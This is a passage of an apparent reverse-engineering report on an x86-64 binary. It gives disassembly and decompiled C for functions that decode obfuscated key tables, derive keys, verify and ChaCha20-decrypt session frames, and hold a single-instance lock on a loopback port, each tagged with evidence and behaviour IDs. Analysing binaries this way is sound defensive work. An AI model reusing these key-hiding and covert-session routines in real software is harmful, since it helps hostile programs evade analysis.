00412236	eb 6e	JMP LAB_004122a6
LAB_00412238:
00412238	48 83 c1 15	ADD RCX,0x15
0041223c	0f b7 05 65 c5 21 00	MOVZX EAX,word ptr [DAT_0062e7a8]
00412243	4d 8d 3c 0e	LEA R15,[R14 + RCX*0x1]
00412247	49 39 c7	CMP R15,RAX
0041224a	77 dd	JA LAB_00412229
0041224c	0f b7 42 03	MOVZX EAX,word ptr [RDX + 0x3]
00412250	48 3b 05 49 c5 21 00	CMP RAX,qword ptr [DAT_0062e7a0]
00412257	74 06	JZ LAB_0041225f
00412259	72 43	JC LAB_0041229e
0041225b	31 c0	XOR EAX,EAX
0041225d	eb 57	JMP LAB_004122b6
LAB_0041225f:
0041225f	4c 8d 0d 3a c5 21 00	LEA R9,[DAT_0062e7a0]
00412266	80 3d 94 c4 21 00 00	CMP byte ptr [DAT_0062e701],0x0
0041226d	48 89 ee	MOV RSI,RBP
00412270	4c 89 e7	MOV RDI,R12
00412273	4d 8d 41 d1	LEA R8,[R9 + -0x2f]
00412277	74 07	JZ LAB_00412280
00412279	e8 5a 08 00 00	CALL FUN_00412ad8	; FUN_00412ad8: unknown
0041227e	eb 05	JMP LAB_00412285
LAB_00412280:
00412280	e8 8b fd ff ff	CALL FUN_00412010
LAB_00412285:
00412285	85 c0	TEST EAX,EAX
00412287	0f 88 f1 fe ff ff	JS LAB_0041217e
0041228d	89 03	MOV dword ptr [RBX],EAX
0041228f	4c 89 ff	MOV RDI,R15
00412292	e8 47 f5 ff ff	CALL FUN_004117de
00412297	b8 01 00 00 00	MOV EAX,0x1
0041229c	eb 18	JMP LAB_004122b6
LAB_0041229e:
0041229e	4d 89 fe	MOV R14,R15
004122a1	e9 2d ff ff ff	JMP LAB_004121d3
LAB_004122a6:
004122a6	31 c0	XOR EAX,EAX
004122a8	66 81 3d f7 c4 21 00 ff …	CMP word ptr [DAT_0062e7a8],0x7ff
004122b1	0f 97 c0	SETA AL
004122b4	f7 d8	NEG EAX
LAB_004122b6:
004122b6	48 83 c4 18	ADD RSP,0x18
004122ba	5b	POP RBX
004122bb	5d	POP RBP
004122bc	41 5c	POP R12
004122be	41 5d	POP R13
004122c0	41 5e	POP R14
004122c2	41 5f	POP R15
004122c4	c3	RET
LAB_004122c5:
004122c5	83 c8 ff	OR EAX,0xffffffff
004122c8	c3	RET

unknown

0x412385363 bytes

undefined unknown()

Cited as: E16
Behaviours: B6
Called from: FUN_00412649
Calls: FUN_0040caad, FUN_00411056, FUN_00412374

Decompiled C · 90 lines

void unknown(void)

{
  undefined *puVar1;
  undefined **ppuVar2;
  ulong uVar3;
  byte bVar4;
  char cVar5;
  long lVar6;
  long lVar7;
  byte bVar8;
  undefined **ppuVar9;
  uint local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  uint uStack_5c;
  uint local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  uint uStack_3c;
  byte local_38 [32];
  
  ppuVar2 = &PTR_DAT_0062af20;
  ppuVar9 = &PTR_DAT_0062af80;
  do {
    cVar5 = *(char *)((long)ppuVar2 + 9);
    bVar4 = *(byte *)(ppuVar2 + 1);
    puVar1 = *ppuVar2;
    lVar7 = 0;
    do {
      lVar6 = lVar7 + 1;
      bVar8 = puVar1[lVar7] ^ bVar4;
      bVar4 = bVar4 + cVar5;
      local_38[lVar7] = bVar8;
      lVar7 = lVar6;
    } while (lVar6 != 0x20);
    lVar7 = 0;
    do {
      lVar7 = lVar7 + 1;
    } while (lVar7 != 0x20);
    ppuVar2 = (undefined **)FUN_00412374(local_38,0x20);
  } while (ppuVar2 != ppuVar9);
  cVar5 = '.';
  do {
    cVar5 = cVar5 + '\x11';
  } while (cVar5 != '>');
  cVar5 = 'M';
  do {
    cVar5 = cVar5 + '\r';
  } while (cVar5 != '\x1d');
  uVar3 = FUN_0040caad();
  if ((uVar3 & 7) == 0) {
    uVar3 = FUN_0040caad();
    uVar3 = (uVar3 & 0xffffffff) % 6;
    lVar7 = uVar3 * 0x10;
    lVar6 = 0;
    cVar5 = (&DAT_0062aec9)[lVar7];
    bVar4 = (&DAT_0062aec8)[lVar7];
    puVar1 = (&PTR_DAT_0062aec0)[uVar3 * 2];
    do {
      bVar8 = puVar1[lVar6] ^ bVar4;
      bVar4 = bVar4 + cVar5;
      *(byte *)((long)&local_78 + lVar6) = bVar8;
      lVar6 = lVar6 + 1;
    } while (lVar6 != 0x20);
    local_48 = local_68;
    uStack_44 = uStack_64;
    uStack_40 = uStack_60;
    uStack_54 = uStack_74;
    uStack_50 = uStack_70;
    uStack_4c = uStack_6c;
    local_58 = local_78 & 0xfffffff8;
    uStack_3c = uStack_5c & 0x7fffffff | 0x40000000;
    FUN_00411056(local_38,&local_58);
    FUN_00412374(&local_78,0x20);
    FUN_00412374(&local_58,0x20);
    FUN_00412374(local_38,0x20);
  }
  return;
}

Assembly · 103 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00412385	41 55	PUSH R13	; E16
00412387	48 8d 05 92 8b 21 00	LEA RAX,[PTR_DAT_0062af20]
0041238e	41 54	PUSH R12
00412390	4c 8d 40 60	LEA R8,[RAX + 0x60]
00412394	55	PUSH RBP
00412395	48 83 ec 70	SUB RSP,0x70
00412399	c6 44 24 0f 00	MOV byte ptr [RSP + local_79],0x0
0041239e	48 8d 6c 24 50	LEA RBP,[RSP + 0x50]
LAB_004123a3:
004123a3	40 8a 70 09	MOV SIL,byte ptr [RAX + 0x9]
004123a7	8a 48 08	MOV CL,byte ptr [RAX + 0x8]
004123aa	31 d2	XOR EDX,EDX
004123ac	4c 8b 08	MOV R9,qword ptr [RAX]
LAB_004123af:
004123af	41 8a 3c 11	MOV DIL,byte ptr [R9 + RDX*0x1]
004123b3	48 ff c2	INC RDX
004123b6	31 cf	XOR EDI,ECX
004123b8	01 f1	ADD ECX,ESI
004123ba	40 88 7c 2a ff	MOV byte ptr [RDX + RBP*0x1 + -0x1],DIL
004123bf	48 83 fa 20	CMP RDX,0x20
004123c3	75 ea	JNZ LAB_004123af
004123c5	31 d2	XOR EDX,EDX
LAB_004123c7:
004123c7	8a 4c 24 0f	MOV CL,byte ptr [RSP + local_79]
004123cb	32 4c 15 00	XOR CL,byte ptr [RBP + RDX*0x1]
004123cf	48 ff c2	INC RDX
004123d2	88 4c 24 0f	MOV byte ptr [RSP + local_79],CL
004123d6	48 83 fa 20	CMP RDX,0x20
004123da	75 eb	JNZ LAB_004123c7
004123dc	be 20 00 00 00	MOV ESI,0x20
004123e1	48 89 ef	MOV RDI,RBP
004123e4	48 83 c0 10	ADD RAX,0x10
004123e8	e8 87 ff ff ff	CALL FUN_00412374
004123ed	4c 39 c0	CMP RAX,R8
004123f0	75 b1	JNZ LAB_004123a3
004123f2	48 8d 0d d7 62 01 00	LEA RCX,[DAT_004286d0]
004123f9	b2 2e	MOV DL,0x2e
LAB_004123fb:
004123fb	8a 44 24 0f	MOV AL,byte ptr [RSP + local_79]
004123ff	48 ff c1	INC RCX
00412402	31 d0	XOR EAX,EDX
00412404	83 c2 11	ADD EDX,0x11
00412407	32 41 ff	XOR AL,byte ptr [RCX + -0x1]
0041240a	88 44 24 0f	MOV byte ptr [RSP + local_79],AL
0041240e	80 fa 3e	CMP DL,0x3e
00412411	75 e8	JNZ LAB_004123fb
00412413	48 8d 0d a6 62 01 00	LEA RCX,[DAT_004286c0]
0041241a	b2 4d	MOV DL,0x4d
LAB_0041241c:
0041241c	8a 44 24 0f	MOV AL,byte ptr [RSP + local_79]
00412420	48 ff c1	INC RCX
00412423	31 d0	XOR EAX,EDX
00412425	83 c2 0d	ADD EDX,0xd
00412428	32 41 ff	XOR AL,byte ptr [RCX + -0x1]
0041242b	88 44 24 0f	MOV byte ptr [RSP + local_79],AL
0041242f	80 fa 1d	CMP DL,0x1d
00412432	75 e8	JNZ LAB_0041241c
00412434	8a 44 24 0f	MOV AL,byte ptr [RSP + local_79]
00412438	e8 70 a6 ff ff	CALL FUN_0040caad
0041243d	a8 07	TEST AL,0x7
0041243f	0f 85 a1 00 00 00	JNZ LAB_004124e6
00412445	e8 63 a6 ff ff	CALL FUN_0040caad
0041244a	b9 06 00 00 00	MOV ECX,0x6
0041244f	31 d2	XOR EDX,EDX
00412451	f7 f1	DIV ECX
00412453	89 d0	MOV EAX,EDX
00412455	48 8d 15 64 8a 21 00	LEA RDX,[PTR_DAT_0062aec0]
0041245c	48 c1 e0 04	SHL RAX,0x4
00412460	48 01 c2	ADD RDX,RAX
00412463	31 c0	XOR EAX,EAX
00412465	40 8a 72 09	MOV SIL,byte ptr [RDX + 0x9]
00412469	8a 4a 08	MOV CL,byte ptr [RDX + 0x8]
0041246c	48 8b 3a	MOV RDI,qword ptr [RDX]
LAB_0041246f:
0041246f	8a 14 07	MOV DL,byte ptr [RDI + RAX*0x1]
00412472	4c 8d 6c 24 10	LEA R13,[RSP + 0x10]
00412477	31 ca	XOR EDX,ECX
00412479	01 f1	ADD ECX,ESI
0041247b	88 54 04 10	MOV byte ptr [RSP + RAX*0x1 + local_78[1]],DL
0041247f	48 ff c0	INC RAX
00412482	48 83 f8 20	CMP RAX,0x20
00412486	75 e7	JNZ LAB_0041246f
00412488	0f 10 4c 24 20	MOVUPS XMM1,xmmword ptr [RSP + local_68[0]]
0041248d	0f 10 44 24 10	MOVUPS XMM0,xmmword ptr [RSP + local_78[0]]
00412492	4c 8d 64 24 30	LEA R12,[RSP + 0x30]
00412497	48 89 ef	MOV RDI,RBP
0041249a	4c 89 e6	MOV RSI,R12
0041249d	0f 11 4c 24 40	MOVUPS xmmword ptr [RSP + local_48[0]],XMM1
004124a2	8a 44 24 4f	MOV AL,byte ptr [RSP + local_48[15]]
004124a6	0f 11 44 24 30	MOVUPS xmmword ptr [RSP + local_58[0]],XMM0
004124ab	83 e0 7f	AND EAX,0x7f
004124ae	80 64 24 30 f8	AND byte ptr [RSP + local_58[0]],0xf8
004124b3	83 c8 40	OR EAX,0x40
004124b6	88 44 24 4f	MOV byte ptr [RSP + local_48[15]],AL
004124ba	e8 97 eb ff ff	CALL FUN_00411056
004124bf	be 20 00 00 00	MOV ESI,0x20
004124c4	4c 89 ef	MOV RDI,R13
004124c7	e8 a8 fe ff ff	CALL FUN_00412374
004124cc	be 20 00 00 00	MOV ESI,0x20
004124d1	4c 89 e7	MOV RDI,R12
004124d4	e8 9b fe ff ff	CALL FUN_00412374
004124d9	be 20 00 00 00	MOV ESI,0x20
004124de	48 89 ef	MOV RDI,RBP
004124e1	e8 8e fe ff ff	CALL FUN_00412374
LAB_004124e6:
004124e6	48 83 c4 70	ADD RSP,0x70
004124ea	5d	POP RBP
004124eb	41 5c	POP R12
004124ed	41 5d	POP R13
004124ef	c3	RET

unknown

0x412677264 bytes

undefined unknown()

Cited as: E16
Behaviours: B6
Called from: FUN_004129d6, FUN_00412ad8
Calls: thunk_FUN_00411241

Decompiled C · 98 lines

void unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,long param_4,
                 undefined8 *param_5)

{
  ulong uVar1;
  long lVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  undefined4 *puVar5;
  byte bVar6;
  undefined4 local_248;
  undefined4 uStack_244;
  undefined4 uStack_240;
  undefined4 uStack_23c;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  byte local_228 [64];
  byte local_1e8 [64];
  undefined4 local_1a8;
  undefined4 uStack_1a4;
  undefined4 uStack_1a0;
  undefined4 uStack_19c;
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188 [8];
  undefined4 local_168 [16];
  undefined4 local_128;
  undefined4 uStack_124;
  undefined4 uStack_120;
  undefined4 uStack_11c;
  undefined4 local_118;
  undefined4 uStack_114;
  undefined4 uStack_110;
  undefined4 uStack_10c;
  
  bVar6 = 0;
  local_198 = param_1[4];
  uStack_194 = param_1[5];
  uStack_190 = param_1[6];
  uStack_18c = param_1[7];
  local_1a8 = *param_1;
  uStack_1a4 = param_1[1];
  uStack_1a0 = param_1[2];
  uStack_19c = param_1[3];
  puVar5 = local_188;
  for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  lVar2 = 0;
  do {
    local_1e8[lVar2] = *(byte *)((long)&local_1a8 + lVar2) ^ 0x5c;
    local_228[lVar2] = *(byte *)((long)&local_1a8 + lVar2) ^ 0x36;
    lVar2 = lVar2 + 1;
  } while (lVar2 != 0x40);
  uVar1 = param_4 + 0x40;
  if (uVar1 < 0x141) {
    puVar5 = &local_128;
    pbVar3 = local_228;
    puVar4 = local_168;
    for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + 4;
      puVar4 = puVar4 + 1;
    }
    for (; param_4 != 0; param_4 = param_4 + -1) {
      *(undefined1 *)puVar5 = *param_3;
      param_3 = param_3 + 1;
      puVar5 = (undefined4 *)((long)puVar5 + 1);
    }
    thunk_FUN_00411241(local_168,uVar1,&local_248);
    pbVar3 = local_1e8;
    puVar5 = local_168;
    for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
      *puVar5 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + ((ulong)bVar6 * -2 + 1) * 4;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    local_128 = local_248;
    uStack_124 = uStack_244;
    uStack_120 = uStack_240;
    uStack_11c = uStack_23c;
    local_118 = local_238;
    uStack_114 = uStack_234;
    uStack_110 = uStack_230;
    uStack_10c = uStack_22c;
    thunk_FUN_00411241(local_168,0x60,&local_248);
    *param_5 = CONCAT44(uStack_244,local_248);
    param_5[1] = CONCAT44(uStack_23c,uStack_240);
  }
  return;
}

Assembly · 67 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00412677	41 55	PUSH R13	; E16
00412679	49 89 fa	MOV R10,RDI
0041267c	31 c0	XOR EAX,EAX
0041267e	49 89 d1	MOV R9,RDX
00412681	41 54	PUSH R12
00412683	48 89 ca	MOV RDX,RCX
00412686	b9 08 00 00 00	MOV ECX,0x8
0041268b	4d 89 c4	MOV R12,R8
0041268e	55	PUSH RBP
0041268f	53	PUSH RBX
00412690	48 81 ec 28 02 00 00	SUB RSP,0x228
00412697	41 0f 10 02	MOVUPS XMM0,xmmword ptr [R10]
0041269b	41 0f 10 4a 10	MOVUPS XMM1,xmmword ptr [R10 + 0x10]
004126a0	48 8d b4 24 c0 00 00 00	LEA RSI,[RSP + 0xc0]
004126a8	48 89 f7	MOV RDI,RSI
004126ab	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_1a8[0]],XMM0
004126b3	f3 ab	STOSD.REP RDI
004126b5	0f 29 8c 24 b0 00 00 00	MOVAPS xmmword ptr [RSP + local_198[0]],XMM1
004126bd	31 c0	XOR EAX,EAX
LAB_004126bf:
004126bf	8a 8c 04 a0 00 00 00	MOV CL,byte ptr [RSP + RAX*0x1 + local_1a8[1]]
004126c6	48 8d 74 24 20	LEA RSI,[RSP + 0x20]
004126cb	48 8d 5c 24 60	LEA RBX,[RSP + 0x60]
004126d0	89 cf	MOV EDI,ECX
004126d2	83 f1 5c	XOR ECX,0x5c
004126d5	83 f7 36	XOR EDI,0x36
004126d8	88 4c 04 60	MOV byte ptr [RSP + RAX*0x1 + local_1e7],CL
004126dc	40 88 7c 04 20	MOV byte ptr [RSP + RAX*0x1 + local_227],DIL
004126e1	48 ff c0	INC RAX
004126e4	48 83 f8 40	CMP RAX,0x40
004126e8	75 d5	JNZ LAB_004126bf
004126ea	4c 8d 42 40	LEA R8,[RDX + 0x40]
004126ee	49 81 f8 40 01 00 00	CMP R8,0x140
004126f5	77 7a	JA LAB_00412771
004126f7	48 8d 84 24 20 01 00 00	LEA RAX,[RSP + 0x120]
004126ff	b9 10 00 00 00	MOV ECX,0x10
00412704	49 89 e5	MOV R13,RSP
00412707	48 8d bc 24 e0 00 00 00	LEA RDI,[RSP + 0xe0]
0041270f	48 8d ac 24 e0 00 00 00	LEA RBP,[RSP + 0xe0]
00412717	f3 a5	MOVSD.REP RDI,RSI
00412719	48 89 c7	MOV RDI,RAX
0041271c	4c 89 ce	MOV RSI,R9
0041271f	48 89 d1	MOV RCX,RDX
00412722	f3 a4	MOVSB.REP RDI,RSI
00412724	4c 89 ea	MOV RDX,R13
00412727	4c 89 c6	MOV RSI,R8
0041272a	48 89 ef	MOV RDI,RBP
0041272d	e8 08 f2 ff ff	CALL thunk_FUN_00411241
00412732	b9 10 00 00 00	MOV ECX,0x10
00412737	48 89 ef	MOV RDI,RBP
0041273a	48 89 de	MOV RSI,RBX
0041273d	f3 a5	MOVSD.REP RDI,RSI
0041273f	0f 28 14 24	MOVAPS XMM2,xmmword ptr [RSP]
00412743	0f 28 5c 24 10	MOVAPS XMM3,xmmword ptr [RSP + local_238[0]]
00412748	4c 89 ea	MOV RDX,R13
0041274b	be 60 00 00 00	MOV ESI,0x60
00412750	48 89 ef	MOV RDI,RBP
00412753	0f 29 94 24 20 01 00 00	MOVAPS xmmword ptr [RSP + local_128[0]],XMM2
0041275b	0f 29 9c 24 30 01 00 00	MOVAPS xmmword ptr [RSP + local_118[0]],XMM3
00412763	e8 d2 f1 ff ff	CALL thunk_FUN_00411241
00412768	0f 28 24 24	MOVAPS XMM4,xmmword ptr [RSP]
0041276c	41 0f 11 24 24	MOVUPS xmmword ptr [R12],XMM4
LAB_00412771:
00412771	48 81 c4 28 02 00 00	ADD RSP,0x228
00412778	5b	POP RBX
00412779	5d	POP RBP
0041277a	41 5c	POP R12
0041277c	41 5d	POP R13
0041277e	c3	RET

verifies a received session frame

0x412ad8309 bytes

undefined FUN_00412ad8()

verifies a received session frame (header, sequence, 16-byte tag with a derived MAC key) and ChaCha20-decrypts it

Cited as: E32
Behaviours: B6
Called from: FUN_0041215b
Calls: FUN_0040d6c6, thunk_FUN_004113bd, FUN_004122c9, FUN_004124f0, FUN_0041266c, unknown

Decompiled C · 36 lines

ulong FUN_00412ad8(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  ushort uVar2;
  char cVar3;
  ushort uVar4;
  int iVar5;
  ulong uVar6;
  undefined1 local_74 [12];
  undefined1 local_68 [16];
  undefined1 local_58 [40];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar3 = FUN_004122c9(5), cVar1 == cVar3)) {
    uVar2 = *(ushort *)(param_3 + 3);
    uVar4 = CONCAT11((char)*(undefined2 *)(param_3 + 1),
                     (char)((ushort)*(undefined2 *)(param_3 + 1) >> 8));
    uVar6 = (ulong)uVar4;
    if (((*param_6 == (ulong)uVar2) && (uVar6 + 0x15 <= param_4)) && (uVar6 <= param_2)) {
      thunk_FUN_004113bd(param_5,0x20,&DAT_004287cc,6,local_58,0x20);
      unknown(local_58,0x20,param_3,uVar6 + 5);
      iVar5 = FUN_004124f0(local_68,param_3 + uVar6 + 5,0x10);
      if (iVar5 != 0) {
        FUN_0041266c(local_74,(ulong)uVar2,local_74,param_3 + 5,param_1);
        FUN_0040d6c6(param_5,1);
        *param_6 = *param_6 + 1;
        return (ulong)uVar4;
      }
    }
  }
  return 0xffffffff;
}

Assembly · 87 instructions, 2 annotated, 1 cited

Address	Bytes	Instruction	Comment
00412ad8	41 57	PUSH R15	; E32
00412ada	49 89 cf	MOV R15,RCX
00412add	41 56	PUSH R14
00412adf	41 55	PUSH R13
00412ae1	41 54	PUSH R12
00412ae3	55	PUSH RBP
00412ae4	53	PUSH RBX
00412ae5	48 83 ec 68	SUB RSP,0x68
00412ae9	48 83 f9 14	CMP RCX,0x14
00412aed	0f 96 c0	SETBE AL
00412af0	4d 85 c9	TEST R9,R9
00412af3	48 89 74 24 10	MOV qword ptr [RSP + local_88],RSI
00412af8	0f 94 c1	SETZ CL
00412afb	08 c8	OR AL,CL
00412afd	75 08	JNZ LAB_00412b07
00412aff	48 89 d3	MOV RBX,RDX
00412b02	48 85 d2	TEST RDX,RDX
00412b05	75 09	JNZ LAB_00412b10
LAB_00412b07:
00412b07	41 83 cf ff	OR R15D,0xffffffff
00412b0b	e9 eb 00 00 00	JMP LAB_00412bfb
LAB_00412b10:
00412b10	40 8a 2a	MOV BPL,byte ptr [RDX]
00412b13	49 89 fe	MOV R14,RDI
00412b16	bf 05 00 00 00	MOV EDI,0x5
00412b1b	4d 89 c5	MOV R13,R8
00412b1e	4d 89 cc	MOV R12,R9
00412b21	e8 a3 f7 ff ff	CALL FUN_004122c9
00412b26	40 38 c5	CMP BPL,AL
00412b29	75 dc	JNZ LAB_00412b07
00412b2b	66 8b 43 01	MOV AX,word ptr [RBX + 0x1]
00412b2f	0f b7 6b 03	MOVZX EBP,word ptr [RBX + 0x3]
00412b33	86 e0	XCHG AL,AH
00412b35	66 89 44 24 0e	MOV word ptr [RSP + local_8a],AX
00412b3a	0f b7 c0	MOVZX EAX,AX
00412b3d	49 39 2c 24	CMP qword ptr [R12],RBP
00412b41	75 c4	JNZ LAB_00412b07
00412b43	48 8d 48 15	LEA RCX,[RAX + 0x15]
00412b47	4c 39 f9	CMP RCX,R15
00412b4a	77 bb	JA LAB_00412b07
00412b4c	48 3b 44 24 10	CMP RAX,qword ptr [RSP + local_88]
00412b51	48 89 44 24 10	MOV qword ptr [RSP + local_88],RAX
00412b56	77 af	JA LAB_00412b07
00412b58	4c 8d 7c 24 40	LEA R15,[RSP + 0x40]
00412b5d	41 b9 20 00 00 00	MOV R9D,0x20
00412b63	4c 89 ef	MOV RDI,R13
00412b66	b9 06 00 00 00	MOV ECX,0x6
00412b6b	4d 89 f8	MOV R8,R15
00412b6e	48 8d 15 57 5c 01 00	LEA RDX,[DAT_004287cc]
00412b75	be 20 00 00 00	MOV ESI,0x20
00412b7a	e8 c0 ed ff ff	CALL thunk_FUN_004113bd
00412b7f	48 8b 44 24 10	MOV RAX,qword ptr [RSP + local_88]
00412b84	48 89 da	MOV RDX,RBX
00412b87	4c 89 ff	MOV RDI,R15
00412b8a	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
00412b8f	be 20 00 00 00	MOV ESI,0x20
00412b94	48 83 c0 05	ADD RAX,0x5
00412b98	4c 89 44 24 18	MOV qword ptr [RSP + local_80],R8
00412b9d	48 89 c1	MOV RCX,RAX
00412ba0	48 89 44 24 10	MOV qword ptr [RSP + local_88],RAX
00412ba5	e8 cd fa ff ff	CALL unknown	; → unknown (B6, E16)
00412baa	48 8b 44 24 10	MOV RAX,qword ptr [RSP + local_88]
00412baf	48 8b 7c 24 18	MOV RDI,qword ptr [RSP + local_80]
00412bb4	ba 10 00 00 00	MOV EDX,0x10
00412bb9	48 8d 34 03	LEA RSI,[RBX + RAX*0x1]
00412bbd	e8 2e f9 ff ff	CALL FUN_004124f0
00412bc2	85 c0	TEST EAX,EAX
00412bc4	0f 84 3d ff ff ff	JZ LAB_00412b07
00412bca	48 8d 54 24 24	LEA RDX,[RSP + 0x24]
00412bcf	48 89 ee	MOV RSI,RBP
00412bd2	48 8d 4b 05	LEA RCX,[RBX + 0x5]
00412bd6	4d 89 f0	MOV R8,R14
00412bd9	48 89 d7	MOV RDI,RDX
00412bdc	e8 8b fa ff ff	CALL FUN_0041266c
00412be1	44 0f b7 7c 24 0e	MOVZX R15D,word ptr [RSP + local_8a]
00412be7	be 01 00 00 00	MOV ESI,0x1
00412bec	4c 89 ef	MOV RDI,R13
00412bef	45 89 f9	MOV R9D,R15D
00412bf2	e8 cf aa ff ff	CALL FUN_0040d6c6
00412bf7	49 ff 04 24	INC qword ptr [R12]
LAB_00412bfb:
00412bfb	48 83 c4 68	ADD RSP,0x68
00412bff	44 89 f8	MOV EAX,R15D
00412c02	5b	POP RBX
00412c03	5d	POP RBP
00412c04	41 5c	POP R12
00412c06	41 5d	POP R13
00412c08	41 5e	POP R14
00412c0a	41 5f	POP R15
00412c0c	c3	RET

single-instance lock on a loopback TCP…

0x412d781041 bytes

undefined FUN_00412d78()

single-instance lock on a loopback TCP port

Cited as: E9
Behaviours: B2
Called from: FUN_004001d0, FUN_00412d78
Calls: FUN_004001d0, FUN_0040cb5a, FUN_00412d78, FUN_00417c3c, FUN_00417c6e, FUN_00419669, FUN_00419689, FUN_00419ae7, FUN_00419b08, FUN_00419b0d, FUN_0041a12e, FUN_0041bbdf, FUN_0041bc03, FUN_0041bf98, FUN_0041db41, FUN_0041dd63

Decompiled C · 154 lines

/* WARNING: Type propagation algorithm not settling */

void FUN_00412d78(void)

{
  undefined2 uVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  int *piVar5;
  long lVar6;
  long *plVar7;
  int iVar8;
  byte bVar9;
  undefined4 local_e4;
  int local_e0 [2];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined2 local_c8;
  undefined2 local_c6;
  int local_c4;
  undefined2 local_b8;
  undefined2 local_b6;
  int local_b4;
  long local_a8 [17];
  
  bVar9 = 0;
  local_e4 = 1;
  if (DAT_0062efd0 < 5) goto LAB_00412da0;
LAB_00412d96:
  FUN_004001d0(1);
LAB_00412da0:
  local_c8 = 2;
  DAT_0062ba28 = -1;
  iVar2 = DAT_0062f0a0;
  if (DAT_0062ba20 != '\0') {
    iVar2 = FUN_00419b08(0x7f000001);
  }
  iVar8 = 0x1a;
  local_c4 = iVar2;
  local_c6 = FUN_00419b0d(0x4d2);
  do {
    DAT_0062ba28 = FUN_0041bc03(2,1,0);
    if (DAT_0062ba28 != -1) {
      FUN_0041bbdf(DAT_0062ba28,1,2,&local_e4,4);
      uVar3 = FUN_00417c6e(DAT_0062ba28,3,0);
      FUN_00417c6e(DAT_0062ba28,4,uVar3 | 0x800);
      iVar4 = FUN_00419669(DAT_0062ba28,&local_c8,0x10);
      iVar2 = DAT_0062ba28;
      if (iVar4 == 0) {
        iVar2 = FUN_0041a12e(DAT_0062ba28,1);
        if (iVar2 == 0) {
          DAT_0062efd0 = 0;
          return;
        }
        FUN_0041db41(DAT_0062ba28);
        DAT_0062ba28 = -1;
      }
      else {
        piVar5 = (int *)FUN_00417c3c();
        if ((*piVar5 == 99) && (DAT_0062ba20 != '\0')) {
          DAT_0062ba20 = '\0';
        }
        FUN_0041db41(iVar2);
        DAT_0062ba28 = -1;
        local_b8 = 2;
        local_b6 = FUN_00419b0d(0x4d2);
        local_b4 = FUN_00419b08(0x7f000001);
        iVar2 = FUN_0041bc03(2,1,0);
        if (iVar2 == -1) {
LAB_00412ff7:
          if ((local_c4 != DAT_0062f0a0) && (iVar2 = FUN_0041bc03(2,1,0), iVar2 != -1)) {
            local_b4 = DAT_0062f0a0;
            uVar3 = FUN_00417c6e(iVar2,3,0);
            if ((uVar3 != 0xffffffff) && (iVar4 = FUN_00417c6e(iVar2,4,uVar3 | 0x800), iVar4 != -1))
            {
              iVar4 = FUN_00419689(iVar2,&local_b8,0x10);
              if (iVar4 == 0) goto LAB_00413102;
              if (*piVar5 == 0x73) {
                local_d8 = 2;
                plVar7 = local_a8;
                for (lVar6 = 0x20; lVar6 != 0; lVar6 = lVar6 + -1) {
                  *(undefined4 *)plVar7 = 0;
                  plVar7 = (long *)((long)plVar7 + ((ulong)bVar9 * -2 + 1) * 4);
                }
                local_d0 = 0;
                local_a8[(ulong)(long)iVar2 >> 6] = 1L << ((byte)iVar2 & 0x3f);
                iVar4 = FUN_0041bf98(iVar2 + 1,0,local_a8,0,&local_d8);
                if (0 < iVar4) {
                  local_e0[0] = 0;
                  local_e0[1] = 4;
                  iVar4 = FUN_00419ae7(iVar2,1,4,local_e0,local_e0 + 1);
                  if (iVar4 == 0 && local_e0[0] == 0) goto LAB_00413102;
                }
              }
            }
            FUN_0041db41(iVar2);
          }
          iVar2 = 5;
          do {
            uVar1 = FUN_00419b0d(0x4d2);
            FUN_0040cb5a(uVar1);
            FUN_0041dd63(3);
            iVar2 = iVar2 + -1;
          } while (iVar2 != 0);
        }
        else {
          uVar3 = FUN_00417c6e(iVar2,3,0);
          if ((uVar3 == 0xffffffff) || (iVar4 = FUN_00417c6e(iVar2,4,uVar3 | 0x800), iVar4 == -1)) {
LAB_00412ff0:
            FUN_0041db41(iVar2);
            goto LAB_00412ff7;
          }
          iVar4 = FUN_00419689(iVar2,&local_b8,0x10);
          if (iVar4 != 0) {
            if (*piVar5 == 0x73) {
              local_d8 = 3;
              plVar7 = local_a8;
              for (lVar6 = 0x20; lVar6 != 0; lVar6 = lVar6 + -1) {
                *(undefined4 *)plVar7 = 0;
                plVar7 = (long *)((long)plVar7 + ((ulong)bVar9 * -2 + 1) * 4);
              }
              local_d0 = 0;
              local_a8[(ulong)(long)iVar2 >> 6] = 1L << ((byte)iVar2 & 0x3f);
              iVar4 = FUN_0041bf98(iVar2 + 1,0,local_a8,0,&local_d8);
              if (0 < iVar4) {
                local_e0[0] = 0;
                local_e0[1] = 4;
                iVar4 = FUN_00419ae7(iVar2,1,4,local_e0,local_e0 + 1);
                if (iVar4 == 0 && local_e0[0] == 0) goto LAB_00413102;
              }
            }
            goto LAB_00412ff0;
          }
LAB_00413102:
          FUN_0041db41(iVar2);
          FUN_0041dd63(2);
        }
      }
    }
    iVar8 = iVar8 + -1;
    if (iVar8 == 0) break;
    FUN_0041dd63(1);
  } while( true );
  DAT_0062ba28 = 0xffffffff;
